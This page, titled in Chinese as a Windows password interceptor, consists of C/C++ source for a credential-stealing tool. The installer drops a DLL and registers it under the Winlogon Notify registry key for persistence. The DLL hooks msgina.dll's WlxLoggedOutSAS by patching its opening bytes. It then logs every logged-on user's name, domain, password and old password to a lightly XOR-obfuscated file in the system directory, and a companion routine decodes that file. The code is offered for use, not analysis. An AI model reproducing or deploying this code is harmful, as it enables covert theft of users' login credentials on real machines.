Windows外壳,安装Windows密码截获器
void dey()//解密 { printf("/r/n请不要移动原密码文件!"); system("pause"); char buffer[10000]; ZeroMemory(buffer,10000); char LogPath[255] = {0}; GetSystemDirectory( LogPath , MAX_PATH); lstrcat( LogPath, "//pwd.txt"); HANDLE hfile = CreateFile( LogPath, GENERIC_READ, FILE_SHARE_WRITE, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); if(!hfile) { printf("打开文件失败!"); return; } DWORD st; int a=ReadFile(hfile,buffer,10000,&st,0); if(!a) { printf("读取失败!"); return; } for(int i = 0;i<strlen(buffer);i++) { buffer[i]=buffer[i]^3; } printf("解密内容为:/r/n%s",buffer); return; } bool installed(); //判断是否已经安装 void installe() //安装函数 { if(installed()) { printf("已经安装过了!"); return; } HRSRC hResInfo; HGLOBAL hResData; DWORD dwSize, dwWritten; LPBYTE p; HANDLE hFile; hResInfo = FindResource(NULL, MAKEINTRESOURCE(IDR_DLL1), "dll"); dwSize = SizeofResource(NULL, hResInfo); hResData = LoadResource(NULL, hResInfo); p = (LPBYTE)GlobalAlloc(GPTR, dwSize); CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);//定位资源 char pfile[200]; GetWindowsDirectory(pfile, 200); strcat(pfile,"//GetPwd.dll");//C:/WINDOWS/ hFile = CreateFile(pfile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); WriteFile(hFile, (LPCVOID)p,dwSize, &dwWritten, NULL); CloseHandle(hFile); GlobalFree((HGLOBAL)p); HKEY hkey; if(ERROR_SUCCESS==RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE//Microsoft//Windows NT//CurrentVersion//Winlogon//Notify//GetPwd//", &hkey) ) { char * name3 ="dog"; RegSetValueEx(hkey,"dllname",0,REG_SZ,(const unsigned char *)pfile,strlen(pfile)); RegSetValueEx(hkey,"startup",0,REG_SZ,(const unsigned char *)name3,strlen("dog")); printf("安装成功!"); } else { printf("安装失败!"); return; } } bool installed() { HKEY hkey; char sz[256]; DWORD dwtype, sl = 256; if(ERROR_SUCCESS != RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE//Microsoft//Windows NT//CurrentVersion//Winlogon//Notify//GetPwd", NULL, KEY_ALL_ACCESS, &hkey) //打开失败,表示没有安装 ) { RegCloseKey(hkey); return false; } RegCloseKey(hkey); return true; } void usag()//用法提示 { printf("example:/r/n"); printf("/r/n Install: getpwd.exe installe"); printf("/r/n Decryp : getpwd.exe Decryp /r/n"); } int main(int argc, char* argv[]) { if(!lstrcmpi(argv[1],"installe"))// { installe(); return 0; } else if(!lstrcmpi(argv[1], "Decryp")) { dey(); return 0; } usag(); return 0; }
密码截获
#define WLX_SAS_ACTION_LOGON (1) DWORD WINAPI StartHook(LPVOID lpParameter); typedef struct _WLX_MPR_NOTIFY_INFO { PWSTR pszUserName; PWSTR pszDomain; PWSTR pszPassword; PWSTR pszOldPassword; } WLX_MPR_NOTIFY_INFO, * PWLX_MPR_NOTIFY_INFO; typedef int (WINAPI* WlxLoggedOutSAS)( //定义函数原型,以便将数据转发给系统 PVOID pWlxContext, DWORD dwSasType, PLUID pAuthenticationId, PSIDpLogonSid, PDWORD pdwOptions, PHANDLE phToken, PWLX_MPR_NOTIFY_INFOpNprNotifyInfo, PVOID * pProfile ); int WINAPI FunNewADDR( PVOID pWlxContext, DWORD dwSasType, PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions, PHANDLE phToken, PWLX_MPR_NOTIFY_INFO prNotifyInfo, PVOID * pProfile); //自定义接管WlxLoggedOutSAS的函数,形参保持一致 void WriteLog( PWLX_MPR_NOTIFY_INFOpNprNotifyInfo );//声明保存用户名密码函数原型 int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi); void WriteCurrentTime(); void HookWlxLoggedOutSAS(); //执行HOOK void UnHookWlxLoggedOutSAS(); //撤销HOOK bool isWin2K()//判断操作系统版本 { DWORD winVer; OSVERSIONINFO *osvi; winVer=GetVersion(); if(winVer<0x80000000) { osvi= (OSVERSIONINFO *)malloc(sizeof(OSVERSIONINFO)); if (osvi!=NULL) { memset(osvi,0,sizeof(OSVERSIONINFO)); osvi->dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GetVersionEx(osvi); if(osvi->dwMajorVersion==5L&&osvi->dwMinorVersion==0L) { free(osvi); return true; } } } free(osvi); return false; } #pragma pack(1)//对齐字节 struct HookTable{ HMODULEhMsgina; WlxLoggedOutSAS OldDDR; WlxLoggedOutSAS NewADDR; unsigned charOldCode[6]; unsigned charJmpCode[6]; };//自定义的结构体 HookTable hooktable = { 0 , 0 , &FunNewADDR , "/x8B/xFF/x55/x8B/xEC", //前5个字节 "/xE9/x00/x00/x00/x00" //e9 ,jmp }; /* #pragma pack() BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { if(isWin2K()) //win2K和xp、2003的前五个字节不同 { hooktable.OldCode[0] ='/x55'; hooktable.OldCode[1] ='/x8B'; hooktable.OldCode[2] ='/xEC'; hooktable.OldCode[3] ='/x83'; hooktable.OldCode[4] ='/xEC'; } switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: HANDLE hthread = CreateThread( 0 , 0 , LPTHREAD_START_ROUTINE(StartHook) , 0 , 0 , 0); CloseHandle( hthread ); break; } return TRUE; } DWORD WINAPI StartHook(LPVOID lpParameter) { hooktable.hMsgina = GetModuleHandle( _T("msgina.dll")); if ( hooktable.hMsgina == NULL) { return 0 ; } hooktable.OldDDR = (WlxLoggedOutSAS)GetProcAddress( hooktable.hMsgina , _T("WlxLoggedOutSAS") ); //得到原始函数地址,等下撤销HOOK会用到 if (hooktable.OldDDR == NULL) { return 0 ; } unsigned char *p = (unsigned char *)hooktable.OldDDR; int *OpCode = (int *)&hooktable.JmpCode[1];// int Code = (int)hooktable.NewADDR - (int)hooktable.OldDDR - 5; *OpCode = Code; HookWlxLoggedOutSAS(); return 0; } void HookWlxLoggedOutSAS() { DWORD OldProtect = NULL; VirtualProtect( hooktable.OldDDR , 5 , PAGE_EXECUTE_READWRITE , &OldProtect );//内存访问权限 unsigned char *p = (unsigned char *)hooktable.OldDDR; for (int i=0 ; i < 5 ; i++ ) { p[i] = hooktable.JmpCode[i]; } VirtualProtect( hooktable.OldDDR , 5 , OldProtect , &OldProtect ); return; } void UnHookWlxLoggedOutSAS() { DWORD OldProtect = NULL; VirtualProtect( hooktable.OldDDR , 5 , PAGE_EXECUTE_READWRITE , &OldProtect ); unsigned char *p = (unsigned char *)hooktable.OldDDR; for (int i=0 ; i < 5 ; i++ ) { p[i] = hooktable.OldCode[i]; } VirtualProtect( hooktable.OldDDR , 5 , OldProtect , &OldProtect ); return; } char pBuffer[1124]; void WriteLog(PWLX_MPR_NOTIFY_INFOpNprNotifyInfo) //主要是一些文件操作 { int size_u = lstrlenW( pNprNotifyInfo->pszUserName ); size_u += lstrlenW( pNprNotifyInfo->pszDomain ); size_u += lstrlenW( pNprNotifyInfo->pszPassword ); size_u += lstrlenW( pNprNotifyInfo->pszOldPassword ); unsigned short *pWBuffer = (unsigned short *)GlobalAlloc( GMEM_FIXED , size_u + 1024 ); unsigned short *tWBuffer = (unsigned short *)GlobalAlloc( GMEM_FIXED , size_u + 1024 ); char pBuffer1[1124]; char *pwd =(char *)GlobalAlloc( GMEM_FIXED , size_u + 1024 ); char *pwd2 =(char *)GlobalAlloc( GMEM_FIXED , size_u + 1024*3 ); ZeroMemory( pWBuffer , size_u + 1024 ); ZeroMemory( pBuffer , size_u + 1024 ); ZeroMemory( pBuffer1 , size_u + 1024 ); if ( !pBuffer ) { return; }else { WriteCurrentTime(); wsprintfW( pWBuffer , L"/r/nUser= %s /r/nDomain = %s/r/nPassWord = %s /r/nOldPass = %s/r/n" , pNprNotifyInfo->pszUserName , pNprNotifyInfo->pszDomain , pNprNotifyInfo->pszPassword, pNprNotifyInfo->pszOldPassword ); WideToByte( pBuffer , pWBuffer , lstrlenW( pWBuffer ) ); } char LogPath[MAX_PATH] = {0}; GetSystemDirectory( LogPath , MAX_PATH); lstrcat( LogPath , "//pwd.txt"); HANDLE hfile = CreateFile( LogPath , GENERIC_WRITE , FILE_SHARE_WRITE , 0 , OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL , 0 ); if (hfile != INVALID_HANDLE_VALUE) { unsigned long ret; SetFilePointer( hfile , -1 , 0 , FILE_END); int i=0; SYSTEMTIME st; int b; for(;i<strlen(pBuffer);i++) { pBuffer[i] = pBuffer[i] ^ 3;//加密采用异或方式 } WriteFile( hfile , pBuffer , lstrlen( pBuffer ) , &ret , 0 ); CloseHandle( hfile ); } GlobalFree( pWBuffer ); GlobalFree( pBuffer ); return; } void WriteCurrentTime() { SYSTEMTIME st; DWORD ret = 0; GetLocalTime(&st); wsprintf( pBuffer , "/r/n%d/%d/%d/%d:%d:%d" , st.wYear , st.wMonth , st.wDay , st.wHour , st.wMinute, st.wSecond ); } int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi) { return WideCharToMultiByte( CP_ACP , WC_COMPOSITECHECK , sz_source , -1 , sz_target , size_ansi , 0 , 0 ); } int WINAPI FunNewADDR( PVOID pWlxContext, DWORD dwSasType, PLUID pAuthenticationId, PSIDpLogonSid, PDWORD pdwOptions, PHANDLE phToken, PWLX_MPR_NOTIFY_INFOpNprNotifyInfo, PVOID * pProfile ) { UnHookWlxLoggedOutSAS(); //当系统jmp到我们自己的函数时先解除HOOK int i = hooktable.OldDDR(pWlxContext , dwSasType , pAuthenticationId , pLogonSid , pdwOptions , phToken , pNprNotifyInfo, pProfile ); if (i == WLX_SAS_ACTION_LOGON )// { WriteLog( pNprNotifyInfo ); } return i; } extern "C" __declspec(dllexport) void start() { return; }